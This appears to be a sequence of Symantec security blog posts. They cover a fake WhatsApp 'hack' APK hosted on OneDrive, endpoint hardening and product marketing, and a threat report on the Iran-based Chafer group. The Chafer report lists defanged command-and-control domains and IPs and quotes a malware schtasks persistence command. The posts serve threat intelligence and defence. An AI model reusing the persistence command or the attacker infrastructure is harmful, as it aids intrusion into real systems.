The “livefilestore.com” is actually registered by Microsoft and used to store user-supplied content. This can be considered a content storage platform but it is not same as “1drv.ms”. If any file were to be uploaded by the user, it would be stored on the livefilestore.com and eventually mapped back to the 1drv.ms link.
(Request-Line) GET /v1.0/shares/<Truncated>/root/content HTTP/1.1
Host api.onedrive.com
User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:52.0) Gecko/20100101 Firefox/52.0
Accept text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language en-US,en;q=0.5
Accept-Encoding gzip, deflate, br
Referer https://onedrive.live.com/
Connection keep-alive
Upgrade-Insecure-Requests 1
(Status-Line) HTTP/1.1 302 Found
Via 1.1 DM5SCH102221312 (wls-colorado)
Content-Length 0
Location https://qbppnq.bn1302.livefilestore.com/<Truncated>611BSkrG8fbQ0zsp8fD5PgEuZ9kKlH5gONESEOxBKbPBI7nYO_I4HwTcTUebeYXSV-5Uz45k-qqW0OZ9uQ/Gb%20whatsapp%20techmity.com%20hack.apk
Server Microsoft-IIS/8.5
p3p CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo"
X-WLSPROXY DM5SCH102221312
X-MSNSERVER BN2BAPAE8784DE2
Strict-Transport-Security max-age=31536000; includeSubDomains
X-AsmVersion UNKNOWN; 21.2.0.0
X-AsmVersion-ProxyApp UNKNOWN; 21.2.0.0
x-msedge-ref Ref A: EE467E22CC15483C939B4702062508DC Ref B: PAOEDGE0313 Ref C: Sat Mar 25 23:58:00 2017 PST
Once the HTTP request is redirected to the LiveFileStore platform, the application is downloaded via the HTTP response header “Content-Disposition.”
(Request-Line) GET /<Truncated>XSV-5Uz45k-qqW0OZ9uQ/Gb%20whatsapp%20techmity.com%20hack.apk HTTP/1.1
Host qbppnq.bn1302.livefilestore.com
User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:52.0) Gecko/20100101 Firefox/52.0
Accept text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language en-US,en;q=0.5
Accept-Encoding gzip, deflate, br
Referer https://onedrive.live.com/
Connection keep-alive
Upgrade-Insecure-Requests 1
(Status-Line) HTTP/1.1 200 OK
Cache-Control public
Content-Length 27570277
Content-Type application/vnd.android.package-archive
Content-Location https://qbppnq.bn1302.livefilestore.com/y4m0ksvLOMFyTwEx1MMUu9uzAppzlyIXloVEDnijqxfp1QHemk1MGyDtvTFXBofR-ONLIq8QSk8kvAFHK3l0YXplQpXKsYQi4mVmGKLhL0nrDYdBFa6eg-v1EGec5dWr8OUMLApWC91pgA5AlYGo7uVbbp8EIXl_CJbuR07MufrmhIwnmSF2j46Ll4Jg-KGB_-F57tn0Anm6kDWi3Bs3gHn7w
Expires Sat, 24 Jun 2017 06:58:00 GMT
Last-Modified Sat, 04 Jun 2016 13:42:31 GMT
Accept-Ranges bytes
Etag aNzgxOEYxQTA0RkE5MjYxRSEyMTg5Ljg
Server Microsoft-IIS/8.5
p3p CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo"
X-MSNSERVER BN2BAP5CA124839
Strict-Transport-Security max-age=31536000; includeSubDomains
X-SqlDataOrigin S
CTag aYzo3ODE4RjFBMDRGQTkyNjFFITIxODkuMjU3
X-PreAuthInfo rv;poba;
Content-Disposition attachment; filename*=UTF-8''Gb%20whatsapp%20techmity.com%20hack.apk
X-Content-Type-Options nosniff
X-StreamOrigin X
X-AsmVersion UNKNOWN; 21.2.0.0
Generally, Hack Tool is considered malicious in nature because it is designed to perform some unverified operations that could impact the security state of the target device. The application was fetched and dissected for analysis. The application obtained the following set of permissions from the mobile device:
android.permission.READ_SYNC_SETTINGS (read sync settings)
com.huawei.android.launcher.permission.WRITE_SETTINGS (modify global system settings)
com.android.launcher.permission.UNINSTALL_SHORTCUT (Unknown permission from android reference)
android.permission.USE_CREDENTIALS (use the authentication credentials of an account)
android.permission.ACCESS_COARSE_LOCATION (coarse (network-based) location)
com.gbwhatsapp.permission.VOIP_CALL (Unknown permission from android reference)
android.permission.READ_SYNC_STATS (read sync statistics)
android.permission.RECEIVE_BOOT_COMPLETED (automatically start at boot)
android.permission.BLUETOOTH (create Bluetooth connections)
android.permission.CAMERA (take pictures and videos)
android.permission.INTERNET (full Internet access)
com.google.android.providers.gsf.permission.READ_GSERVICES (Unknown permission from android reference)
com.sec.android.provider.badge.permission.WRITE (Unknown permission from android reference)
android.permission.ACCESS_FINE_LOCATION (fine (GPS) location)
android.permission.SEND_SMS (send SMS messages)
com.android.launcher.permission.INSTALL_SHORTCUT (Unknown permission from android reference)
com.google.android.c2dm.permission.RECEIVE (Unknown permission from android reference)
android.permission.ACCESS_NETWORK_STATE (view network status)
android.permission.GET_TASKS (retrieve running applications)
android.permission.INSTALL_SHORTCUT (Unknown permission from android reference)
com.htc.launcher.permission.UPDATE_SHORTCUT (Unknown permission from android reference)
com.htc.launcher.permission.READ_SETTINGS (Unknown permission from android reference)
com.gbwhatsapp.permission.C2D_MESSAGE (C2DM permission.)
android.permission.WRITE_EXTERNAL_STORAGE (modify/delete SD card contents)
android.permission.RECEIVE_SMS (receive SMS)
android.permission.MANAGE_ACCOUNTS (manage the accounts list)
android.permission.WRITE_SYNC_SETTINGS (write sync settings)
android.permission.AUTHENTICATE_ACCOUNTS (act as an account authenticator)
android.permission.BROADCAST_STICKY (send sticky broadcast)
android.permission.WRITE_SETTINGS (modify global system settings)
android.permission.READ_PHONE_STATE (read phone state and identity)
com.gbwhatsapp.permission.BROADCAST (Unknown permission from android reference)
android.permission.WRITE_CONTACTS (write contact data)
android.permission.VIBRATE (control vibrator)
android.permission.READ_PROFILE (read the user's personal profile data)
com.huawei.android.launcher.permission.READ_SETTINGS (Unknown permission from android reference)
android.permission.WAKE_LOCK (prevent phone from sleeping)
android.permission.KILL_BACKGROUND_PROCESSES (kill background processes)
android.permission.ACCESS_WIFI_STATE (view Wi-Fi status)
com.gbwhatsapp.permission.MAPS_RECEIVE (Unknown permission from android reference)
com.huawei.android.launcher.permission.CHANGE_BADGE (Unknown permission from android reference)
android.permission.CHANGE_WIFI_STATE (change Wi-Fi status)
android.permission.RECORD_AUDIO (record audio)
android.permission.READ_CONTACTS (read contact data)
android.permission.MODIFY_AUDIO_SETTINGS (change your audio settings)
com.sonyericsson.home.permission.BROADCAST_BADGE (Unknown permission from android reference)
com.sec.android.provider.badge.permission.READ (Unknown permission from android reference)
android.permission.GET_ACCOUNTS (discover known accounts)
Permissions Obtained by the “Fake WhatsApp” Android Application
The following set of services were found to be configured:
com.gb.atnfas.WidgetService
com.gbwhatsapp.memory.dump.MemoryDumpUploadService
com.gbwhatsapp.messaging.MessageService
com.gbwhatsapp.ExternalMediaManager
com.gbwhatsapp.accountsync.AccountAuthenticatorService
com.gbwhatsapp.contact.sync.ContactsSyncAdapterService
com.gbwhatsapp.MediaTranscodeService
com.gbwhatsapp.LocationSharingService
com.gbwhatsapp.VoiceService
com.gbwhatsapp.notification.AndroidWear
com.gbwhatsapp.gdrive.GoogleDriveService
com.gbwhatsapp.VoiceMessagingService
com.gbwhatsapp.AlarmService
com.gbwhatsapp.gcm.experiment.PingCheckSchedulerService
com.gbwhatsapp.appwidget.WidgetService
com.gbwhatsapp.gcm.GcmListenerService
com.gbwhatsapp.gcm.InstanceIdListenerService
com.gbwhatsapp.gcm.RegistrationIntentService
com.gbwhatsapp.ContactChooserTargetService
com.gbwhatsapp.notification.DirectReplyService
Permissions Obtained by the “Fake WhatsApp” Android Application
Analysis shows that the application usually performs some unauthorized operations on end-user devices and it uses the name of a legitimate service provider.
Countermeasures
CloudSOC can detect this threat as shown below:
Figure: Alert triggered successfully
Figure: Fake Whatsapp App Detected by the Cloud
Some typical countermeasures to mitigate these types of attacks could include:
Analysis and control of cloud application transactions with User Behavior Analytics (UBA). Symantec CloudSOC CASB inspects cloud application traffic and tracks how users interact with these apps. If the user behavior analytics observes abnormal or high risk user activity CloudSOC will increase the threat level for that user and policy controls will be triggered to alert, quarantine, or block activity from that user.
Detect malicious files sitting in OneDrive via APIs and files in transactions with OneDrive.
Symantec’s advanced malware analysis engine, along with CloudSOC, will scan files in cloud applications to detect, quarantine, or block malicious files.
Appendix
The virus total treat this file as suspicious as well as shown below. Symantec flagged the detect as “Trojan.Gen.8lCloud”
If you found this information useful, you may also enjoy:
Detecting Malicious Code on MS OneDrive : A Proactive Approach
Symantec Data Loss Prevention - Now in the Cloud with CloudSOC CASB
CloudSOC Security for Cloud Apps Resources
|
Castles, Jails and a New Adaptive Security Layer for Enterprise Endpoints
As malicious hackers step up their game, enterprises can benefit by deploying Symantec’s SEP Hardening product delivering integrated application isolation and anti-malware technologies
Increasing layers of defense have forced the attackers to change their approach, using file-less attack techniques that ‘live off the land’ and are difficult to detect by traditional means. More and more attackers are taking advantage of what already exists on a device to carry out their objectives. What already exists on a device is what an enterprise wants to deploy on those devices. So now, we have good users and good applications being used to do bad things.
For example, many attackers now deploy file-less attack techniques that ‘live off the land’ and are increasingly difficult to detect by traditional means. They exploit what already is installed on a device- known good applications- to run simple scripts and shellcode in memory, via Windows Power Shell.
These malicious scripts may be hidden in the Windows Registry and Windows Management Instrumentation (WMI). This so-called “living off the land” approach makes use of capabilities built into operating systems and good applications to attack victims.
What makes it harder is that some of these activities look very similar to what an enterprise would do in normal course of its day to day business. Enterprise documents contain links, employees download files and open them, new unsigned applications could be built by enterprise developers etc. and this allows bad guys to do bad things with good applications.
This rapidly evolving constellation of threats calls for a new approach to endpoint security.
Multi-Layered Defense
At Symantec, our endpoint defense strategy now has four key layers. Think about it as follows:
- Prevention: SEP 14.1 provides the best antimalware protection in the world. We deploy reputation-based, behavior-based, ML-based multi-stage protections to block incursions, infections, infestations and prevent exfiltration. As we do that, we know your vectors of infection- which users, devices and applications drive the most infections.
- Detection & Response: SEP EDR (ATP- Endpoint) delivers an additional layer of smart tools and capabilities so that your SOC analysts can monitor, prioritize, analyze, investigate and remediate threats using our Single Agent
- Deception: Added in SEP 14.1, our endpoint deception capability triggers off well placed deceptors on endpoints to highlight potential breaches missed by Prevention, detection & Response.
- Adaptation: Added with SEP Hardening, integrated with SEP 14.1. SEP Hardening constantly enables security administrators to improve and harden their security posture using our Single Agent that is already deployed on your endpoints.
With SEP 14.1 and SEP hardening in their arsenal, administrators now know what devices are connected to their network and what apps are running. As always, SEP 14.1 blocks all known and unknown malware. Our new High Intensity Detection Capability will highlight what we deem suspicious but don’t have enough information to convict in your environment.
If it’s a good app, with SEP Hardening, it gets its own Castle that ensures bad things don’t get in. A PDF content file cannot update the PDF viewer for example or content downloaded from a browser cannot update the browser.
Application isolation enables security admins to protect ‘known good’ (whitelisted) applications, running them in ‘castle’ mode to fortify these trusted applications and protect them from exploitation and tampering through a layered security approach.
Browsers, MS Office applications, Java, PDF viewers etc. can now be hardened with a single click. All the operations that the application doesn’t typically need to perform are blocked by the isolation policy. Note: the end user doesn’t perceive any change when using the application, unless the application engages in malicious behavior – at which time that behavior is blocked. This is a critical requirement for effective application isolation and ensures security does not come at the cost of productivity.
And if it’s a grey or unknown app, the IT department has more information at its disposal to monitor and make an informed judgment about next steps. Until then, the app will run in what we call “jails,” so potentially bad things don’t get out and persist. It will allow the application to run with limited privileges to protect the OS and other good applications from any harm or tampering. It can contain items opened from an untrusted source (email or web, by example) to mitigate any risk they may pose and restrict these applications to only ‘good’ behavior.
The upshot is that the enterprise will be able to manage all three categories for the first time. That’s a big advance over what passed for state-of-the-art endpoint security only a year ago. Any good, vulnerable applications which are deemed to be core to end users’ productivity can still be used without fear of exploit or file-less attacks. That allows organizations to run any applications they need for their employees to do their jobs.
SEP hardening also hardens an application’s network behavior in addition to file, registry and process behavior. SEP knows all the “good behavior” that is allowed on a network for castles and “acceptable behavior” for Jailed applications.
So, if it detects signs of deviant behavior, it will immediately block the intrusion. That’s a different approach from most anti-malware, which will look to reputation or some bad attributes - in other words, situations where you need something bad in the chain before it will take action.
Hardening plus detection around endpoints - this is the essence of a more adaptable approach to security, one where Symantec’s pioneering research is paying dividends.
So, How Good is this Technology?
I made a decision two years ago to test our endpoint security products against new malware found by anyone every day. This allows us to measure if we are as effective today as we were yesterday. If there are gaps, we go fix them. This rigor has allowed us to deliver SEP 14 and SEP 14.1- the best endpoint security products in the industry. We also test the duration between availability of a sample and our conviction so we can eliminate the time between detect and prevent.
With SEP hardening, we had to figure out a new way to test.
And we did. Here is what I can tell you:
We worked with our very capable STAR team. We got access to their very extensive threat database that contains all known threats. We have worked through much of that database and at this time I am proud to report that SEP Hardening blocks all execution patterns we see. Net - The Castles work.
We have been evaluating SEP Hardening jailing behavior as well. We are seeing SEP Hardening effectively and automatically jail all ‘suspicious files’ detected by SEP 14.1 HID capability. Net- the jails work as well. There is an additional bonus- if the security admin is tardy on resolving suspicious detections, SEP Hardening jails them till the security admin can address the detections.
This stellar result is expected and played a strong role in our selection of the technology we used to build out this product line.
Customers have long looked forward to App Isolation in endpoint security. Many startups have tried but failed because of their intrusive and unfriendly user implementations. On the other hand, we have seen great implementations of similar concepts in operating systems like iOS where applications run in their own isolated containers. Symantec delivered the latter experience on Windows with SEP hardening.
The genesis of our current work in endpoint security stems back to our earlier experience with Symantec Critical Systems Protection (SCSP), which isolates apps on servers. It’s provided the world’s most secure technology for that job. Consider this: In the last decade, we haven’t had a single customer report an infection.
But SCSP also required an advanced level of technical expertise. Our challenge was to port that level of functionality to a wider market and make it more usable and accessible to help endpoint security administrators could secure their organizations’ endpoints.
It took us about 15 months and I’m proud to say that we met the challenge. Try it and see. I look forward to your feedback.
If you found this information useful, you may also enjoy:
Endpoint Protection Resources
Cloud Generation Endpoint Security – Protect Your Users Everywhere and On All Devices
Gartner Reviews: Endpoint Protection Platforms
|
Catalyst 2020: Symantec’s Virtual Security Summit Packed With Power
Check out the on-demand content now!
Symantec Catalyst 2020
Catalyst 2020, Symantec’s first virtual global summit, featured a long line-up of executives, including Broadcom CEO Hock Tan, who described a myriad of changes at Symantec, a division of Broadcom (NASDAQ: AVGO), during the past year. Other Symantec leaders, including senior vice president and GM of the Symantec Enterprise Division, Art Gilliland, offered updates on the company’s most recent technology initiatives as well as the changes at Symantec since last year’s blockbuster acquisition brought together two of the world’s leading enterprise technology organizations. Catalyst 2020 comprised six free, half-day events, across three time zones catering to customers and partners. It highlighted where cyber security is headed and how Symantec’s unrivaled technological excellence and R&D continues to help customers face complex, evolving threats.
Security and a Pandemic
One of the topics of course was the examples and importance of security during the pandemic. When the United Kingdom ordered all non-essential businesses to shut down in March, in response to the growing pandemic, Williams Racing CIO Graeme Hackland faced a significant operational challenge: Instead of their usual count of approximately 70 employees working from home, he recalled, the company needed to immediately ensure its roughly thousand-person team could do their jobs remotely and securely. The journey was featured in a compelling documentary as part of Catalyst 2020. Hackland was one of the many customers and partners participating in Symantec’s Catalyst 2020.
“It was really important that we protect all our email traffic and that we protect every bit of data we put across the internet,” said Hackland, charged with making sure that this legendary Formula One brand was prepared to face the challenge. And he was – with Symantec by his side.
Catalyst 2020 comprised six free, half-day events, across three time zones catering to customers and partners.
Like other enterprises, Williams needed to navigate amidst dramatic uncertainty as the coronavirus forced businesses to adapt to the abrupt demands of a pandemic. Up until then, most Williams employees had worked inside the company’s headquarters. Suddenly, everyone was now a telecommuter and Hackland had to make sure that they could work securely.
But years earlier, Williams had turned to Symantec to help their engineering teams securely transmit coveted data as they traveled to different racing venues around the globe. So, when COVID hit, Williams already had in place an extensive endpoint security protection network to protect company data during this unprecedented transition to remote work. The upshot: Williams didn’t miss a beat and the transition to working from home went off seamlessly.
Technology Prowess
As enterprises face the future, it’s hard to overstate the value of a security partner with a strong product portfolio, and the wherewithal to support leading-edge research projects to keep ahead of cyber attackers. Customers got an inside look at what that technology edge means in practice when Symantec executives recounted the chronology of events around the take down of the group behind WastedLocker.
A group believed to be behind WastedLocker – the aptly named “Evil Corp”, a cyber crime outfit – has been around since 2014. Over the years, Symantec threat hunters tracked the group’s activities as well as its changing attack methods. Then last year, the Justice Department indicted the group, a move which soon invited a retaliatory response from Evil Corp. as it began targeting primarily Fortune-sized companies in the U.S.
Symantec began to notice “a sequence of events and type of activities that didn’t seem to add up, according to senior threat intelligence executive, Jon DiMaggio. The attacks were proactively uncovered by Symantec’s Targeted Attack Cloud Analytics, which uses advanced machine learning to find patterns of activity associated with targeted attacks. After reviewing the data, Symantec’s Threat Hunter team determined that it corresponded closely to publicly documented activity seen in the early stages of WastedLocker attacks.
Ultimately, Symantec not only identified the organizations that had been targeted by WastedLocker but also located the tools, tactics, and procedures used by the attackers.
“We try to be just as creative as the bad guys and come up with ways to find them,” DiMaggio said, adding that the task essentially boiled down to “looking for someone who doesn’t want you to find them.”
Ultimately, Symantec not only identified the organizations that had been targeted by WastedLocker but also located the tools, tactics, and procedures used by the attackers. Customers were then able to work with Symantec to harden their defenses and protect against every stage of the attack.
“There’s no pause and no breather,” said Symantec’s director of Security Response, Kevin Haley, who noted that the prevalence of “creative adversaries” requires a combination of leading-edge security technology working in tandem with skilled threat hunters and researchers poking into every corner to ferret out potential trouble before it escalates into a problem.
Indeed, Vice President of the Endpoint Security group, Adam Bromwich, noted that Symantec’s focus on finding attacks against enterprise customers has led to the discovery of “thousands of attacks” each month.
New Customer Focus:
Beyond showing off its technology prowess, Symantec also had a new message for customers: It’s no longer going to spread itself thin by trying to meet the needs of everyone. Symantec is shifting the focus to its most strategic enterprise customers – as Symantec's Chief Marketing Officer, Karen Buffo, said, this new “concierge” approach allows Symantec to tailor its offering to meet larger enterprise customers’ ever-changing security needs.
“It starts with the frank acknowledgement we’ve gone through a lot of change and we’ve learned a lot,” added Regan McGrath, Broadcom’s Vice President, Americas Sales, who said the company felt it was time to hit a reset button. “Our customers are really clear about what’s important to them – they want lower cost, stable, high-quality tools that work the way they’re supposed to, and a security partner focused on their needs, rather than one trying to be all things to all people.”
“The more customers engage with us, the better job we’re going to be able to do for them” by bringing Symantec’s full resources to bear, he explained.
Catalyst 2020, featured keynotes, panels, demos and interactive sessions from the world's top experts in cyber security. It is an event that should not be missed.
Register to watch Catalyst On Demand Now.
|
Categories Are Useful, But It Is Time For Risk Levels
If your company is not using risk levels to limit web browsing, you may be exposing users to a greater number of threats or blocking them from conducting legitimate business
Categories are a ubiquitous way to prevent users from going to dangerous sites. Phishing? No way. Botnet download sites? Block.
Yet, while the categorization of sites is great for establishing the broad strokes of policy, the technique can miss a lot of the granularity needed to fine-tune your business' security. A company only relying on categories will find that some dangerous sites are still accessible, and some legitimate business sites are blocked. For example, some companies may want to allow some file storage and sharing sites, such as Dropbox or Box, but block others not allowed by corporate policy.
Application-level blocking or whitelisting can give security teams more granularity in their policies. Some companies also employ geographical rules, such as only allowing employees to go to sites in the United States.
Yet, an under-utilized solution may be the best approach for many companies: Threat Risk Levels.
A newly registered site: Block or Allow?
While categories are a necessary starting point for any cyber security policy, they are based mainly on the content on the page at the time it’s rendered. Moreover, many sites are not—and perhaps cannot be—easily categorized. For many companies, uncategorized websites are not acceptable and so are blocked. Yet, there are plenty of legitimate uncategorized sites.
Conversely, a compromised legitimate site may be used to infect visitors with malware or used in a phishing attack.
Threat risk levels use a URL’s metadata wholistically to give a site a score based on its potential riskiness, which means every URL will have a risk level. A newly created site with only a low level of traffic and obfuscated scripts will have a higher risk level. A site with no scripts, has a lifetime measured in years, and is associated with a known reputable company will have a low risk level.
Where content categories are based on whether the security firm has seen a site, threat risk levels can be calculated for any site immediately.
Uncategorized site: Block or Allow?
Threat risk levels fix a failing of categories. Social media sites carry a lot of user-generated content and can be used by an attacker to launch an attack against visitors in various ways. Moreover, attackers know they can create a site for a generally benign category—say, education— to get past a simplistic security policy. Risk levels stop these types of attacks, which helps companies further increase their security posture without increasing their false positive tolerance.
In many ways, threat risk levels are a game of information: Given a specific piece of metadata—such as whether the site is newly registered—would you block or allow access to the site? If a user is trying to visit an uncategorized site, would you block or allow access?
Risk levels stop these types of attacks, which helps companies further increase their security posture without increasing their false positive tolerance.
Symantec, a division of Broadcom (NASDAQ: AVGO), seamlessly calculates Threat Risk Levels for the millions of URLs in its database and can also calculate Threat Risk Levels in real-time. Ratings get created by dozens of components working together to create a numerical score from 1 - 10. These components look at the various metadata factors that objectively show risk. One of these components, Context Engine, uses a large scale AI system to pick up on clues from domains, subdomains, and IPs seen on our servers, ultimately giving a confidence score of how suspicious a site might be. Finally, another system uses an extensive voting system to create ratings dynamically. Looking at dozens of metadata tokens, such as the network metrics or site age, makes an objective rating in milliseconds that stops threats in their tracks, often before anyone even knows they are dangerous.
Entertainment Content and Risk Level 6+: Block or Allow?
Risk levels policy can be created in the Secure Web Gateway (SWG), which every company should tailor to their own needs. While a good start, a default policy is not meant to be the standard policy for companies. Every business has its own needs and risk sensitivities, and so the SWG should be configured to reflect those priorities.
Any single URL can have up to four categories and a risk level, so policies can be very granular. For example, a company can block any URL that is categorized as Entertainment and has a risk level of 6 or above. Companies can also customize their risk levels so that—if a URL demonstrates a particular type of behavior—the risk level is increased or decreased.
Threat risk levels are a way for companies to hone their cyber security policies better. Want to know how you can use risk levels to secure your users better? Watch the webinar below for our discussion on this topic.
Webinar - Threat Risk Levels: Taking Your Intelligence Services to the Next Level
|
CDM Dashboards: A Gateway to Better Intelligence
The Continuous Diagnostics and Mitigation program should be viewed as a catalyst to change how federal agencies think about risk
This past summer, the federal government’s Continuous Diagnostics and Mitigation program, better known as CDM, reached an important milestone. Nearly all 23 major agencies covered under the Chief Financial Officers Act were connected to a cyber security dashboard housed at the National Cyber Security and Communications Integration Center.
The dashboard plays an important role in the CDM process. The data used not only helps federal agencies analyze their own cyber security environment, but it provides the Department of Homeland Security with an extra set of eyes on the federal ecosystem as a whole.
The CDM program calls on federal agencies to take control of their networks. The four phases require agencies to understand what is on their network, who is on the network, what is happening on the network, and how that data will be protected. As federal agencies continue to complete these phases, they gain more and more awareness of the overall state of their network.
Data vs. Intelligence
CDM dashboards provide valuable data into the network, but that should be seen as checkpoint – albeit an important one – along a larger cyber journey. Federal agencies will want to turn this data into actionable cyber intelligence that guides fundamental change in network security.
Data provides valuable information, but intelligence provides the necessary context and technical details surrounding a threat. That intelligence can help agencies quickly assess cyber risk and implement proactive controls.
That is what CDM ultimately wants to accomplish. Yes, agencies need to know about the actions happening on their network, but they need that information to make real-time decisions to minimize overall risk.
As federal agencies move further ahead, they will want to ensure that these data dashboards become part of their overall security architecture. These dashboards must be incorporated into security operations centers, helping to guide cyber security decision-making.
Part of a Larger Plan
The CDM program, and the mandates it requires, should not be seen as a stand-alone offering. It is intended to be part of the foundation of a broader cyber security strategy. Agencies should recognize that CDM only establishes baseline functionality and that it should be seen as a springboard to develop more advanced capabilities.
The dashboards serve as a perfect example. Agencies will want to use this data to create deep intelligence structures that add visibility to their network. CDM serves as a great driver for agencies to implement an integrated cyber defense strategy that helps bring together multiple data sources to organize complex workflows.
Federal agencies continue to work on Phases 3 and 4 of CDM. As they move forward, they need to remember that CDM by itself will not protect information. It should be seen as a catalyst for other changes, one that can alter how federal agencies think about their network and how they manage risk.
|
Chafer: Latest Attacks Reveal Heightened Ambitions
Iran-based group remains highly active and is moving up the telecoms and transport supply chain to facilitate widescale surveillance of targets.
Chafer, the Iran-based targeted attack group, mounted further operations throughout 2017, attacking more organizations in the Middle East and beyond, and deploying several new tools. The group staged a number of ambitious new attacks last year, including the compromise of a major telecoms services provider in the region. There is also evidence that it attempted to attack a major international travel reservations firm. Chafer appears to be primarily engaged in surveillance and tracking of individuals, with most of its attacks likely carried out to gather information on targets or facilitate surveillance.
Chafer has been active since at least July 2014 and its activities were first exposed by Symantec in December 2015, when it was found to be conducting targeted surveillance of domestic and international targets. At the time, many of its targets were individuals located in Iran, and it had already begun compromising telecom providers as well as airline companies in the Middle East region.
"Iran-based Chafer attack group mounted further operations against more organizations in the Middle East in 2017 http://symc.ly/2sXMZio"
CLICK TO TWEET
Expansion of operations
Chafer appears to have been undeterred by its exposure in 2015 and continued to be very active during 2017, using seven new tools, rolling out new infrastructure, and attacking nine new target organizations in the region. The group hit organizations in Israel, Jordan, the United Arab Emirates, Saudi Arabia, and Turkey.
Sectors targeted included airlines; aircraft services; software and IT services companies serving the air and sea transport sectors; telecoms services; payroll services; engineering consultancies; and document management software.
Outside of the Middle East, Symantec has also found evidence of attacks against one African airline and attempts to compromise an international travel reservations firm.
Ambitious new targets
One of the organizations compromised by Chafer in 2017 was a telecoms services provider in the Middle East, which sells its solutions to multiple telecoms operators in the region. The ultimate goal of the attack may have been to facilitate surveillance of end-user customers of telecoms operators. By moving two steps up the supply chain the attackers could potentially have carried out surveillance on a vast pool of end-users.
Alongside evidence of compromise of the organization itself, Symantec also found a copy of one of the company’s own files, relating to its messaging software, on a staging server used by Chafer. The file was in a directory alongside a number of hacking tools used by the attackers.
A second target outside the Middle East provides further confirmation of Chafer’s heightened ambitions in recent times. Symantec found evidence that it had tried to compromise a large international travel reservations firm. There was no indication that the attack was successful, but Chafer did successfully infiltrate an African airline that is a customer of the reservations firm.
The group hit organizations in Israel, Jordan, the United Arab Emirates, Saudi Arabia, and Turkey. Sectors targeted included airlines; aircraft services; software and IT services companies serving the air and sea transport sectors; telecoms services; payroll services; engineering consultancies; and document management software.
How Chafer infects targets
In the earlier attacks from 2015, Symantec found evidence that Chafer had been compromising targeted organizations by attacking their web servers, likely through SQL injection attacks, in order to drop malware onto them. In 2017, the group added a new infection method to its toolkit, using malicious documents which are likely circulated using spear-phishing emails sent to individuals working in targeted organizations.
These documents were Excel spreadsheets. When opened, they downloaded a malicious VBS file that in turn ran a PowerShell script. Several hours later, a dropper would appear on the compromised computer. This would install three files on the computer, an information stealer, a screen capture utility, and an empty executable.
The screen capture utility appeared to be used for initial information gathering, as it was only used briefly at the beginning of each infection and not seen again. The information stealer was capable of stealing the contents of the clipboard, taking screenshots, recording keystrokes and stealing files and user credentials. After this initial activity, the attackers usually downloaded more of their tools to the computer using a PowerShell downloader and began moving across the victim’s network.
New tools used to compromise networks
Symantec has seen Chafer use seven new tools in its more recent campaigns, in addition to malware it is previously known to have used. Most of the new tools are freely available, off-the-shelf tools, put to a malicious use. The new tools include:
Remcom: An open-source alternative to PsExec, which is a Microsoft Sysinternals tool used for executing processes on other systems.
Non-sucking Service Manager (NSSM): An open-source alternative to the Windows Service Manager which can be used to install and remove services and will restart services if they crash.
A custom screenshot and clipboard capture tool.
SMB hacking tools: Used in conjunction with other tools to traverse target networks. These tools include the EternalBlue exploit (which was previously used by WannaCry and Petya).
GNU HTTPTunnel: An open-source tool that can create a bidirectional HTTP tunnel on Linux computers, potentially allowing communication beyond a restrictive firewall.
UltraVNC: An open-source remote administration tool for Microsoft Windows.
NBTScan: A free tool for scanning IP networks for NetBIOS name information.
Chafer has also continued to use tools previously associated with the group, including its own custom backdoor Remexi (Backdoor.Remexi); the aforementioned PsExec; Mimikatz (Hacktool.Mimikatz), a free tool capable of changing privileges, exporting security certificates, and recovering Windows passwords in plaintext; Pwdump (Pwdump) a tool that is used to grab Windows password hashes from a remote Windows computer; and Plink (PuTTY Link) a command-line utility used to create reverse SSH sessions.
Chafer has used these tools in concert to traverse targeted networks. The group has recently adopted NSSM to maintain persistence and install the service which runs Plink on the compromised computer. Plink is then used to open reverse SSH sessions from the attacker's server to the RDP port on the victim computer. This presumably gives them RDP access to the compromised computer.
Once a foothold is established, the attackers use PsExec, Remcom, and SMB hacking tools to begin moving across the victim’s network.
New infrastructure in use
Chafer has also begun using new infrastructure. The domain win7-updates[.]com is being used by the group as a command and control address. The domain has been referenced several times in command lines, e.g:
s224.win7-update[.]com
s5060.win7-update[.]com
s21.win7-update[.]com
It has also been embedded in a dropper:
hxxp://wsus65432.win7-update[.]com
Symantec also discovered multiple IP addresses that were used as infrastructure by the attackers. It is unclear whether these were leased or hijacked, but the fact that many of them appear to follow a pattern—with the latter three numbers of each address often running in sequence—makes it likely they were deliberately selected by the attackers.
107.191.62[.]45
94.100.21[.]213
89.38.97[.]112
148.251.197[.]113
83.142.230[.]113
87.117.204[.]113
89.38.97[.]115
87.117.204[.]115
185.22.172[.]40
92.243.95[.]203
91.218.114[.]204
86.105.227[.]224
91.218.114[.]225
134.119.217[.]84
In one case, Symantec found what appeared to be a staging server used by the attackers. The server belonged to one of the targeted organizations. Copies of many of the tools used by the group were discovered on the server. The attackers didn’t even bother hiding their activity and saved items to the desktop, often without renaming them.
Links to Crambus?
Chafer’s activities have some links to another group known as Crambus (aka Oilrig). Both groups have been observed using the same IP address for command and control purposes. In addition to this, both groups have been seen using a similar infection vector, namely an Excel document which drops a malicious VBS file. Both VBS files reference the same file path, containing the same misspelling:
“schtasks.exe /create/ F /sc minute /mo 2 /tn "UpdatMachine" /tr %LOCALAPPDATA%\microsoft\Feed\Y658123.vbs”
Are the two groups one and the same? While this may be a possibility, at present there isn’t enough evidence to support that hypothesis. What is more likely is that the two groups are known to each other and enjoy access to a shared pool of resources.
Growing threat to organizations in the Middle East
Chafer’s recent activities indicate that the group remains highly active, is continuing to hone its tools and tactics, and has become more audacious in its choice of targets. Although a regional actor, the group has followed two trends seen globally among targeted attack groups. The first is a greater reliance on freely available software tools, also known as “living off the land.” By limiting their use of malware, groups such as Chafer hope to be less conspicuous on a victim’s network and, if discovered, make their attack more difficult to attribute.
The second trend is towards attacks on the supply chain, compromising organizations with the goal of then attacking the customers, or even the customers of the customers, of those organizations. These attacks require more “steps” to reach their ultimate target, which adds additional time and risk for attackers to reach their targets. However these attacks also leverage trusted channels into the eventual target, e.g., through a trusted supplier, allowing attackers to potentially circumvent security systems at the organization they ultimately wish to compromise. These attacks are riskier but come with a potentially higher reward and, if successful, could give the attackers access to a vast pool of potential targets.
